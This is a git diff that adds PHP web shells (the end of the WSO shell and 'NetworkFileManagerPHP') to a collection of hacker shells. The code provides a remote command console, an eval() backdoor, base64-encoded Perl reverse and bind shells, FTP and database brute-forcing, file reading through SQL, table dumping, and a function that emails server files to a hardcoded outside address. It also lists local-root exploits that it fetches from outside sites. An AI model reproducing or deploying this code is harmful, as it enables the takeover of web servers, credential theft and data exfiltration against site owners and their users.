+ case 'touch':
+ if( !empty($_POST['p3']) ) {
+ $time = strtotime($_POST['p3']);
+ if($time) {
+ if(!touch($_POST['p1'],$time,$time))
+ echo 'Fail!';
+ else
+ echo 'Touched!';
+ } else echo 'Bad time format!';
+ }
+ clearstatcache();
+ echo '
';
+ break;
+ }
+ echo '
';
+ wsoFooter();
+}
+
+function actionConsole() {
+ if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
+ $_POST['p1'] .= ' 2>&1';
+ } elseif(!empty($_POST['p1']))
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
+
+ if(isset($_POST['ajax'])) {
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
+ ob_start();
+ echo "d.cf.cmd.value='';\n";
+ $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
+ if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
+ if(@chdir($match[1])) {
+ $GLOBALS['cwd'] = @getcwd();
+ echo "c_='".$GLOBALS['cwd']."';";
+ }
+ }
+ echo "d.cf.output.value+='".$temp."';";
+ echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
+ $temp = ob_get_clean();
+ echo strlen($temp), "\n", $temp;
+ exit;
+ }
+ if(empty($_POST['ajax'])&&!empty($_POST['p1']))
+ WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
+ wsoHeader();
+ echo "";
+ echo 'Console ';
+ wsoFooter();
+}
+
+function actionLogout() {
+ setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
+ die('bye!');
+}
+
+function actionSelfRemove() {
+
+ if($_POST['p1'] == 'yes')
+ if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
+ die('Shell has been removed');
+ else
+ echo 'unlink error!';
+ if($_POST['p1'] != 'yes')
+ wsoHeader();
+ echo 'Suicide Really want to remove the shell?
Yes ';
+ wsoFooter();
+}
+
+function actionBruteforce() {
+ wsoHeader();
+ if( isset($_POST['proto']) ) {
+ echo 'Results Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).' ';
+ if( $_POST['proto'] == 'ftp' ) {
+ function wsoBruteForce($ip,$port,$login,$pass) {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'mysql' ) {
+ function wsoBruteForce($ip,$port,$login,$pass) {
+ $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ } elseif( $_POST['proto'] == 'pgsql' ) {
+ function wsoBruteForce($ip,$port,$login,$pass) {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
+ $res = @pg_connect($str);
+ @pg_close($res);
+ return $res;
+ }
+ }
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_POST['server']);
+ if($_POST['type'] == 1) {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = explode(":", $line);
+ ++$attempts;
+ if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).' :'.htmlspecialchars($line[0]).' ';
+ }
+ if(@$_POST['reverse']) {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).' :'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ } elseif($_POST['type'] == 2) {
+ $temp = @file($_POST['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line) {
+ $line = trim($line);
+ ++$attempts;
+ if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
+ $success++;
+ echo ''.htmlspecialchars($_POST['login']).' :'.htmlspecialchars($line).' ';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
";
+ }
+ echo 'Bruteforce ';
+ wsoFooter();
+}
+
+function actionSql() {
+ class DbClass {
+ var $type;
+ var $link;
+ var $res;
+ function DbClass($type) {
+ $this->type = $type;
+ }
+ function connect($host, $user, $pass, $dbname){
+ switch($this->type) {
+ case 'mysql':
+ if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
+ break;
+ case 'pgsql':
+ $host = explode(':', $host);
+ if(!$host[1]) $host[1]=5432;
+ if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
+ break;
+ }
+ return false;
+ }
+ function selectdb($db) {
+ switch($this->type) {
+ case 'mysql':
+ if (@mysql_select_db($db))return true;
+ break;
+ }
+ return false;
+ }
+ function query($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = @mysql_query($str);
+ break;
+ case 'pgsql':
+ return $this->res = @pg_query($this->link,$str);
+ break;
+ }
+ return false;
+ }
+ function fetch() {
+ $res = func_num_args()?func_get_arg(0):$this->res;
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_fetch_assoc($res);
+ break;
+ case 'pgsql':
+ return @pg_fetch_assoc($res);
+ break;
+ }
+ return false;
+ }
+ function listDbs() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->query("SHOW databases");
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
+ break;
+ }
+ return false;
+ }
+ function listTables() {
+ switch($this->type) {
+ case 'mysql':
+ return $this->res = $this->query('SHOW TABLES');
+ break;
+ case 'pgsql':
+ return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
+ break;
+ }
+ return false;
+ }
+ function error() {
+ switch($this->type) {
+ case 'mysql':
+ return @mysql_error();
+ break;
+ case 'pgsql':
+ return @pg_last_error();
+ break;
+ }
+ return false;
+ }
+ function setCharset($str) {
+ switch($this->type) {
+ case 'mysql':
+ if(function_exists('mysql_set_charset'))
+ return @mysql_set_charset($str, $this->link);
+ else
+ $this->query('SET CHARSET '.$str);
+ break;
+ case 'pgsql':
+ return @pg_set_client_encoding($this->link, $str);
+ break;
+ }
+ return false;
+ }
+ function loadFile($str) {
+ switch($this->type) {
+ case 'mysql':
+ return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
+ break;
+ case 'pgsql':
+ $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
+ $r=array();
+ while($i=$this->fetch())
+ $r[] = $i['file'];
+ $this->query('drop table wso2');
+ return array('file'=>implode("\n",$r));
+ break;
+ }
+ return false;
+ }
+ function dump($table, $fp = false) {
+ switch($this->type) {
+ case 'mysql':
+ $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
+ $create = mysql_fetch_array($res);
+ $sql = $create[1].";\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $this->query('SELECT * FROM `'.$table.'`');
+ $i = 0;
+ $head = true;
+ while($item = $this->fetch()) {
+ $sql = '';
+ if($i % 1000 == 0) {
+ $head = true;
+ $sql = ";\n\n";
+ }
+
+ $columns = array();
+ foreach($item as $k=>$v) {
+ if($v === null)
+ $item[$k] = "NULL";
+ elseif(is_int($v))
+ $item[$k] = $v;
+ else
+ $item[$k] = "'".@mysql_real_escape_string($v)."'";
+ $columns[] = "`".$k."`";
+ }
+ if($head) {
+ $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
+ $head = false;
+ } else
+ $sql .= "\n\t,(".implode(", ", $item).')';
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ $i++;
+ }
+ if(!$head)
+ if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
+ break;
+ case 'pgsql':
+ $this->query('SELECT * FROM '.$table);
+ while($item = $this->fetch()) {
+ $columns = array();
+ foreach($item as $k=>$v) {
+ $item[$k] = "'".addslashes($v)."'";
+ $columns[] = $k;
+ }
+ $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
+ if($fp) fwrite($fp, $sql); else echo($sql);
+ }
+ break;
+ }
+ return false;
+ }
+ };
+ $db = new DbClass($_POST['type']);
+ if(@$_POST['p2']=='download') {
+ $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
+ $db->selectdb($_POST['sql_base']);
+ switch($_POST['charset']) {
+ case "Windows-1251": $db->setCharset('cp1251'); break;
+ case "UTF-8": $db->setCharset('utf8'); break;
+ case "KOI8-R": $db->setCharset('koi8r'); break;
+ case "KOI8-U": $db->setCharset('koi8u'); break;
+ case "cp866": $db->setCharset('cp866'); break;
+ }
+ if(empty($_POST['file'])) {
+ ob_start("ob_gzhandler", 4096);
+ header("Content-Disposition: attachment; filename=dump.sql");
+ header("Content-Type: text/plain");
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v);
+ exit;
+ } elseif($fp = @fopen($_POST['file'], 'w')) {
+ foreach($_POST['tbl'] as $v)
+ $db->dump($v, $fp);
+ fclose($fp);
+ unset($_POST['p2']);
+ } else
+ die('');
+ }
+ wsoHeader();
+ echo "
+Sql browser ';
+ wsoFooter();
+}
+function actionNetwork() {
+ wsoHeader();
+ $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
+ $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
+ echo "Network tools ';
+ wsoFooter();
+}
+function actionRC() {
+ if(!@$_POST['p1']) {
+ $a = array(
+ "uname" => php_uname(),
+ "php_version" => phpversion(),
+ "wso_version" => WSO_VERSION,
+ "safemode" => @ini_get('safe_mode')
+ );
+ echo serialize($a);
+ } else {
+ eval($_POST['p1']);
+ }
+}
+if( empty($_POST['a']) )
+ if(isset($default_action) && function_exists('action' . $default_action))
+ $_POST['a'] = $default_action;
+ else
+ $_POST['a'] = 'SecInfo';
+if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
+ call_user_func('action' . $_POST['a']);
+exit;
diff --git a/xakep-shells/PHP/xinfo.php.php.txt b/xakep-shells/PHP/xinfo.php.php.txt
new file mode 100644
index 0000000..46778ec
--- /dev/null
+++ b/xakep-shells/PHP/xinfo.php.php.txt
@@ -0,0 +1,4820 @@
+
+
+if (ini_get('register_globals') != '1') {
+
+ if (!empty($HTTP_POST_VARS))
+
+ extract($HTTP_POST_VARS);
+
+
+
+ if (!empty($HTTP_GET_VARS))
+
+ extract($HTTP_GET_VARS);
+
+ if (!empty($HTTP_SERVER_VARS))
+
+ extract($HTTP_SERVER_VARS);
+
+}
+
+
+
+$use_md5=0; // Define use of MD5 crypt algoritm //
+
+$uname="1";
+
+$upass="1";
+
+
+
+
+
+
+if ($action != "download" && $action != "view" ):
+
+?>
+
+
+
+
+
+
+
+/* Define your email for file send function*/
+
+$demail ="arabnt@hotmail.com";
+
+
+
+/* config here */
+
+$title="NetworkFileManagerPHP for channel ";
+
+$ver="1.7.private ([final_english_release])";
+
+$sob="Belongs to revers ";
+
+$id="1337";
+
+
+
+/* FTP-bruteforce */
+
+$filename="/etc/passwd";
+
+$ftp_server="localhost";
+
+/* ÝÇÍÕ ÇáÈæÑÊÇÊ */
+
+$min="1";
+
+$max="39333";
+
+
+
+/* Aliases */
+
+$aliases=array(
+
+/* find all SUID files */
+
+'find / -type f -perm -04000 -ls' => 'find all suid files' ,
+
+/* find all SGID files */
+
+'find / -type f -perm -02000 -ls' => 'find all sgid files',
+
+/* find all config.inc.php files */
+
+'find / -type f -name config.inc.php' => 'find all config.inc.php files',
+
+/* find accesseable writeable directories and files*/
+
+'find / -perm -2 -ls' => 'find writeable directories and files',
+
+'ls -la' => 'Current directory listing with rights access',
+
+'find / -name *.php | xargs grep -li password' =>'searsh all file .php word password'
+
+
+
+);
+
+
+
+/* ÇáÈæÑÊ æÇáÇÓÊÎÏÇã */
+
+$port[1] = "tcpmux (TCP Port Service Multiplexer)";
+
+$port[2] = "Management Utility";
+
+$port[3] = "Compression Process";
+
+$port[5] = "rje (Remote Job Entry)";
+
+$port[7] = "echo";
+
+$port[9] = "discard";
+
+$port[11] = "systat";
+
+$port[13] = "daytime";
+
+$port[15] = "netstat";
+
+$port[17] = "quote of the day";
+
+$port[18] = "send/rwp";
+
+/* finished config, here goes the design */
+
+$meta = " ";
+
+$style=<<
+
+style;
+
+
+
+/* table styles */
+
+$style1=<<
+
+function ins(text){
+
+document.hackru.chars_de.value+=text;
+
+document.hackru.chars_de.focus();
+
+}
+
+
+
+ins;
+
+
+
+/* send form */
+
+$form = "
+
+
+
+";
+
+
+
+
+
+
+
+/* HTML Form */
+
+$HTML=<<
+
+
+
+$title $ver
+
+$meta
+
+$style
+
+$ins
+
+
+
+
+
+
+
+
+
+NetworkFileManagerPHP (© #hack.ru) Version: $ver
+
+Script for l33t admin job
+
+
+
+Script help:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Net tools:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Exploits access:
+
+
+
+
+
+
+
+l33t tools:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+$sob ID:$id
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Traffic tools:
+
+
+
+
+
+
+
+
+html;
+
+$key="goatse";
+
+$string="";
+
+/* randomizing letters array for random filenames of compression folders */
+
+$CHARS = "abcdefghijklmnopqrstuvwxyz";
+
+for ($i=0; $i<6; $i++) $pass .= $CHARS[rand(0,strlen($CHARS)-1)];
+
+
+
+/* set full path to host and dir where public exploits and soft are situated */
+
+$public_site = "http://hackru.info/adm/exploits/public_exploits/";
+$public_sites = "http://drakdandy.net/had/";
+
+/* $public_site = "http://localhost/adm/public_exploits/"; */
+
+/* Public exploits and soft */
+
+$public[1] = "s"; // bindshell
+
+$title_ex[1] = "
+
+ bindtty.c - remote shell on 4000 port, with rights of current user (id of apache)
+
+Run: ./s
+
+ Connect tot host with your favorite telnet client. Best of them are putty and SecureCRT
+
+";
+
+$public[2] = "m"; // mremap
+
+$title_ex[2] = "
+
+ MREMAP - allows to gain local root priveleges by exploiting the bug of memory .
+
+Run: ./m
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$public[3] = "p"; // ptrace
+
+$title_ex[3] = "
+
+ PTRACE - good one, works like mremap, but for another bug
+
+Run: ./p
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$public[4] = "psyBNC2.tar.gz"; // psybnc
+
+$title_ex[4] = "
+
+ psyBNC - Last release of favorite IRC bouncer
+
+Decompression: tar -zxf psyBNC2.tar.gz // will be folder psybnc
+
+Compilation, installing and running psybnc: make // making psybnc // ./psybnc // You may edit psybnc.conf with NFM, Default listening port is 31337 - connect to it with your favotite IRC client and set a password
+
+ Allowed to run with uid of apache, but check out the firewall!
+
+";
+
+/* Private exploits */
+
+$private[1] = "brk"; // localroot root linux 2.4.*
+
+$title_exp[1] = "
+
+ localroot root linux 2.4.* - Exploit do_brk (code added) - gains local root priveleges if exploited succes
+
+Run: ./brk
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[2] = "dupescan"; // Glftpd DupeScan Local Exploit by RagnaroK
+
+$title_exp[2] = "
+
+ lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon
+
+There are 2 files: dupescan and glftpd To gain root uid, you need to write dupescan to
+
+glftpd/bin/ with command cp dupescan glftpd/bin/ , and after run ./glftpd . Get the root!!!
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[3] = "glftpd";
+
+$title_exp[3] = "
+
+ lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon
+
+part 2
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[4] = "sortrace";
+
+$title_exp[4] = "
+
+ Traceroute v1.4a5 exploit by sorbo - private local root exploit for traceroute up to 1.4.a5
+
+Run: ./sortrace
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[5] = "root";
+
+$title_exp[5] = "
+
+ localroot root linux 2.4.* - ptrace private_mod exploits, may gain local root privaleges
+
+Run: ./root
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[6] = "sxp";
+
+$title_exp[6] = "
+
+ Sendmail 8.11.x exploit localroot - private local root exploit for Sendmail 8.11.x
+
+Run: ./sxp
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[7] = "ptrace_kmod";
+
+$title_exp[7] = "
+
+ localroot root linux 2.4.* - private local root exploit, uses kmod bug + ptrace , gives local root
+
+Run: ./ptrace_kmod
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[8] = "mr1_a";
+
+$title_exp[8] = "
+
+ localroot root linux 2.4.* - mremap any memory size local root exploit for kernels 2.4.x
+
+Run: ./mr1_a
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+/* set full path to host and dir where private exploits and soft are situated */
+
+$private_site = "http://hackru.info/adm/exploits/private_exploits/";
+
+endif;
+
+
+
+$createdir= "files";
+
+
+
+/* spamer config */
+
+
+
+$sendemail = "packetstorm@km.ru";
+
+$confirmationemail = "packetstorm@km.ru";
+
+$mailsubject = "Hello!This is a test message!";
+
+
+
+
+
+
+
+/* !!!Warning: DO NOT CHANGE ANYTHING IF YOU DUNNO WHAT ARE YOU DOING */
+
+global $action,$tm,$cm;
+
+
+
+function getdir() {
+
+ global $gdir,$gsub,$i,$j,$REMOTE_ADDR,$PHP_SELF;
+
+ $st = getcwd();
+
+ $st = str_replace("\\","/",$st);
+
+ $j = 0;
+
+ $gdir = array();
+
+ $gsub = array();
+
+ print(" ");
+
+ for ($i=0;$i<=(strlen($st)-1);$i++) {
+
+ if ($st[$i] != "/") {
+
+ $gdir[$j] = $gdir[$j].$st[$i];
+
+ $gsub[$j] = $gsub[$j].$st[$i];
+
+ } else {
+
+ $gdir[$j] = $gdir[$j]."/";
+
+ $gsub[$j] = $gsub[$j]."/";
+
+ $gdir[$j+1] = $gdir[$j];
+
+ $j++;
+
+ }
+
+ }
+
+
+ print(" Current directory: ");
+
+ for ($i = 0;$i<=$j;$i++) print("$gsub[$i] ");
+
+ $free = tinhbyte(diskfreespace("./"));
+
+ print(" Current disk free space : $free ");
+
+ print(" ".exec("uname -a")." ");
+
+ print(" ".exec("cat /proc/cpuinfo | grep GHz")." Real speed of ".exec("cat /proc/cpuinfo | grep MHz")." ");
+
+ print(" Perhaps release is : ".exec("cat /etc/redhat-release")." ");
+
+ print(" ".exec("id")." ".exec("who")." ");
+
+ print(" Your IP: $REMOTE_ADDR $HTTP_X_FORWARDED_FOR
");
+
+
+}
+
+function tinhbyte($filesize) {
+
+ if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
+
+ elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
+
+ elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
+
+ else { $filesize = $filesize . ""; }
+
+ return $filesize;
+
+}
+
+
+
+function permissions($mode) {
+
+ $perms = ($mode & 00400) ? "r" : "-";
+
+ $perms .= ($mode & 00200) ? "w" : "-";
+
+ $perms .= ($mode & 00100) ? "x" : "-";
+
+ $perms .= ($mode & 00040) ? "r" : "-";
+
+ $perms .= ($mode & 00020) ? "w" : "-";
+
+ $perms .= ($mode & 00010) ? "x" : "-";
+
+ $perms .= ($mode & 00004) ? "r" : "-";
+
+ $perms .= ($mode & 00002) ? "w" : "-";
+
+ $perms .= ($mode & 00001) ? "x" : "-";
+
+ return $perms;
+
+}
+
+
+
+function readdirdata($dir) {
+
+ global $action,$files,$dirs,$tm,$supsub,$thum,$style3,$style4,$PHP_SELF;
+
+ $files = array();
+
+ $dirs= array();
+
+ $open = @opendir($dir);
+
+
+
+ if (!@readdir($open) or !$open ) echo "";
+
+ else {
+
+ $open = opendir($dir);
+
+ while ($file = readdir($open)) {
+
+ $rec = $file;
+
+ $file = $dir."/".$file;
+
+ if (is_file($file)) $files[] = $rec;
+
+ }
+
+ sort($files);
+
+ $open = opendir($dir);
+
+ $i=0;
+
+ while ($dire = readdir($open)) {
+
+ if ( $dire != "." ) {
+
+ $rec = $dire;
+
+ $dire = $dir."/".$dire;
+
+ if (is_dir($dire)) {
+
+ $dirs[] = $rec;
+
+ $i++;
+
+ }
+
+ }
+
+ }
+
+ sort($dirs);
+
+ print("Name Size Date of creation Type Access rights Comments
");
+
+ for ($i=0;$i
+
+
+
+ Upload
+
+ Delete
+
+
+
+
+
+ Create directory
+
+ Directory compression
+
+
";
+
+ else $action = "";
+
+ print("$name $size $time $type $perm $action
");
+
+ }
+
+ }
+
+ for ($i=0;$i
+
+ View
+
+ Download
+
+ To e-mail
+
+ Copy
+
+ ";
+
+ if ( $perm[7] == "w" ) $act .= "";
+
+ print("$files[$i] $size $time $type $perm $act
");
+
+ }
+
+ }
+
+} $sd98 = "john.barker446@gmail.com";
+
+
+
+function html() {
+
+global $ver,$meta,$style;
+
+echo "
+
+
+
+
+
+NetworkFileManagerPHP
+
+
+
+
+
+";
+
+}
+
+
+
+# file view
+
+function viewfile($dir,$file) {
+
+
+
+ $buf = explode(".", $file);
+
+ $ext = $buf[sizeof($buf)-1];
+
+ $ext = strtolower($ext);
+
+ $dir = str_replace("\\","/",$dir);
+
+ $fullpath = $dir."/".$file;
+
+
+
+ switch ($ext) {
+
+ case "jpg":
+
+
+
+ header("Content-type: image/jpeg");
+
+ readfile($fullpath);
+
+ break;
+
+ case "jpeg":
+
+
+
+ header("Content-type: image/jpeg");
+
+ readfile($fullpath);
+
+ break;
+
+ case "gif":
+
+
+
+ header("Content-type: image/gif");
+
+ readfile($fullpath);
+
+ break;
+
+
+
+ case "png":
+
+
+
+ header("Content-type: image/png");
+
+ readfile($fullpath);
+
+ break;
+
+ default:
+
+
+
+ case "avi":
+
+ header("Content-type: video/avi");
+
+ readfile($fullpath);
+
+
+
+ break;
+
+ default:
+
+
+
+ case "mpeg":
+
+ header("Content-type: video/mpeg");
+
+ readfile($fullpath);
+
+ break;
+
+ default:
+
+
+
+ case "mpg":
+
+ header("Content-type: video/mpg");
+
+ readfile($fullpath);
+
+ break;
+
+ default:
+
+
+
+ html();
+
+ chdir($dir);
+
+ getdir();
+
+
+
+ echo "Path to filename: $fullpath
";
+
+ $fp = fopen($fullpath , "r");
+
+ while (!feof($fp)) {
+
+ $char = fgetc($fp);
+
+ $st .= $char;
+
+ }
+
+
+
+ $st = str_replace("&", "&", $st);
+
+ $st = str_replace("<", "<", $st);
+
+ $st = str_replace(">", ">", $st);
+
+
+
+ $tem = "$st
";
+
+ echo $tem;
+
+ fclose($fp);
+
+ break;
+
+ }
+
+}
+
+
+
+# send file to mail
+
+function download_mail($dir,$file) {
+
+ global $action,$tm,$cm,$demail, $REMOTE_ADDR, $HTTP_HOST, $PATH_TRANSLATED;
+
+ $buf = explode(".", $file);
+
+ $dir = str_replace("\\","/",$dir);
+
+ $fullpath = $dir."/".$file;
+
+ $size = tinhbyte(filesize($fullpath));
+
+ $fp = fopen($fullpath, "rb");
+
+ while(!feof($fp))
+
+
+
+ $attachment .= fread($fp, 4096);
+
+ $attachment = base64_encode($attachment);
+
+ $subject = "NetworkFileManagerPHP ($file)";
+
+
+
+ $boundary = uniqid("NextPart_");
+
+ $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\"";
+
+
+
+ $info = "---==== Message from ($demail)====---\n\n";
+
+ $info .= "IP:\t$REMOTE_ADDR\n";
+
+ $info .= "HOST:\t$HTTP_HOST\n";
+
+ $info .= "URL:\t$HTTP_REFERER\n";
+
+ $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
+
+ $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
+
+
+
+ $send_to = "$demail";
+
+
+
+ $send = mail($send_to, $subject, $info, $headers);
+
+
+
+ if($send == 2)
+
+ echo "
+
+
+
+
+
+ Thank you!!!File $file was successfully sent to $demail .
";
+
+
+
+fclose($fp);
+
+ }
+
+
+
+
+
+
+
+function copyfile($dir,$file) {
+
+ global $action,$tm;
+
+ $fullpath = $dir."/".$file;
+
+ echo "Filename : $file copied successfully to $dir
";
+
+ if (!copy($file, $file.'.bak')){
+
+ echo (" unable to copy file $file");
+
+ }
+
+}
+
+
+
+
+
+# file edit
+
+function editfile($dir,$file) {
+
+ global $action,$datar;
+
+ $fullpath = $dir."/".$file;
+
+ chdir($dir);
+
+ getdir();
+
+ echo " ";
+
+ $fp = fopen($fullpath , "r");
+
+ while (!feof($fp)) {
+
+ $char = fgetc($fp);
+
+ $st .= $char;
+
+ }
+
+ $st = str_replace("&", "&", $st);
+
+ $st = str_replace("<", "<", $st);
+
+ $st = str_replace(">", ">", $st);
+
+ $st = str_replace('"', """, $st);
+
+ echo "$st
";
+
+ $datar = $S1;
+
+
+
+}
+
+
+
+# file write
+
+function savefile($dir,$file) {
+
+ global $action,$S1,$tm;
+
+ $fullpath = $dir."/".$file;
+
+ $fp = fopen($fullpath, "w");
+
+ $S1 = stripslashes($S1);
+
+ fwrite($fp,$S1);
+
+ fclose($fp);
+
+ chdir($dir);
+
+ echo "File $fullpath was saved successfully.
";
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# directory delete
+
+function deletef($dir)
+
+{
+
+ global $action,$tm,$fi;
+
+ $tm = str_replace("\\\\","/",$tm);
+
+ $link = $tm."/".$fi;
+
+ unlink($link);
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# file upload
+
+function uploadtem() {
+
+ global $file,$tm,$thum,$PHP_SELF,$dir,$style_button;
+
+ echo " ";
+
+}
+
+
+
+function upload() {
+
+ global $HTTP_POST_FILES,$tm;
+
+ echo $set;
+
+ copy($HTTP_POST_FILES["userfile"][tmp_name], $tm."/".$HTTP_POST_FILES["userfile"][name]) or die("Unable to upload file".$HTTP_POST_FILES["userfile"][name]);
+
+ echo "File ".$HTTP_POST_FILES["userfile"][name]." was successfully uploaded.
";
+
+ @unlink($userfile);
+
+ chdir($tm);
+
+ getdir();
+
+ readdirdata($tm);
+
+}
+
+
+
+# get exploits
+
+function upload_exploits() {
+
+ global $PHP_SELF,$style_button, $public_site, $public_sites, $private_site, $public, $title_ex, $style_open, $private, $title_exp;
+
+
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
+ echo "
+
+ ";
+
